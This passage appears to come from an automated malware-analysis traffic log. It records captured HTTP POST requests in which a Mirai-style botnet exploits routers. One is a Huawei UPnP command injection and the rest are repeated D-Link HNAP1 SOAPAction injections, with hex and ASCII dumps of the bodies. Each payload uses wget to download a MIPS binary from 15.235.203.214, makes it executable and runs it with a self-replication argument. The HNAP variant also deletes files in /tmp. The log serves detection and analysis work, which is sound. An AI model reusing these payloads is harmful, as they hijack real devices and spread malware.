s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 